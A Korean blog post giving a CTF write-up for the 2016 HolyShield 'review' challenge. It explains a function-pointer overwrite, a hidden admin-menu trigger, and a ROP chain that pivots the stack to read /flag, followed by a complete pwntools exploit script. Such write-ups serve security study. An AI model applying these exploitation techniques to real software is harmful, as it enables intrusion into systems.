튜기's blogggg

2016 holyshield review

by St1tch


저번 holyshield대회 때  못 푼 review 문제를 풀어보았다.


우선 취약한 부분은 비교적 쉽게 찾을 수 있다.



fuck+44와 fuck+48에는 보이드함수가 존재한다.

밑줄부분에서 fuck+30부분에 최대 100바이트를 쓸 수 있다.

따라서 보이드함수 부분을 overwrite 할 수 있다.


이 보이드함수들은 언제 호출 되는지 살펴 보았다.



admin page가 존재한다.

이 함수 내에서, 보이스 함수가 실행된다.

근데 이 admin page에 접속하기 위해서는 일반적인 입력으로는 들어오지못한다.



보면 입력이 0xFFFFFFF5가 되어야하는데 일반적인 입력으로는 이 값을 입력할 수 가없다.


근데 항상 입력을 하면 atoi같은 함수를 거치는데 당연이 atoi함수 인 줄 알았는데, 알고보니 조금의 트릭이 있었다.



이 함수를 보면 '%' 를 입력한 경우, admin page로 들어갈 수 있음을 알 수 있다.




이제 원하는 함수를 한번 호출 할 수 있는데, 

main의 시작부분을 보면 chroot가 걸려 있음을 알 수있고, 헥스레이로는 보이지 않지만 "/flag" 문자열도 주어진다.


따라서 open->read->write로 rop 페이로드를 작성하면 된다.


rop는 esp를 +20해주면, password입력 한 부분에 ret할 수 있고,

여기서 xchg 가젯으로 esp를 힙 부분으로 바꾼 뒤,

open, read, write해주면 된다.



from pwn import *

context.log_level = 'warn'

s = process('./review')
print 'pid =', util.proc.pidof(s)
pause()

def command(token, *args) :
    s.recvuntil(token)
    for i in args :
        i = str(i)
        s.sendline(i)
fast = lambda token, *args: command(token, *args)

ret = 0x80481b2
pop3ret = 0x804838c
gadget = 0x08055799     #add esp, 8; pop ebx, esi, edi; ret
gadget2 = 0x080d7218    #xchg edi, eax; xchg esp, eax

open_ = 0x0806E250
read_ = 0x0806E2C0
flag = 0x080BF4A8
write_ = 0x0806E330
exit_ = 0x0804F5B0
bss = 0x80ecfb4

def solver() :
    p = log.progress('start...')

    fast('>', '1', 'stitch', '99')
    for i in range(99):
        p.status(str(i))
        fast('>', 'Y', 'Y', 'Y')

    pay = 'a'*14 + p32(gadget) + 'b'*8
    pay += ''.join(map(p32, (open_, pop3ret, flag, 0, 0644)))
    pay += ''.join(map(p32, (read_, pop3ret, 3, bss, 50)))
    pay += ''.join(map(p32, (write_, exit_, 1, bss, 50)))
    pay += 'x' * (100-len(pay))
    fast('>', '3', '0', pay, '0')

    pay = p32(gadget2)
    pay += 'a'*8
    fast('>', '%', pay)

    s.recvuntil('admin...', drop=True)
    print s.recvall().strip('\x00')

if __name__ == '__main__' :
    solver()





ㅇㅅㅇ. 잘된다.




블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기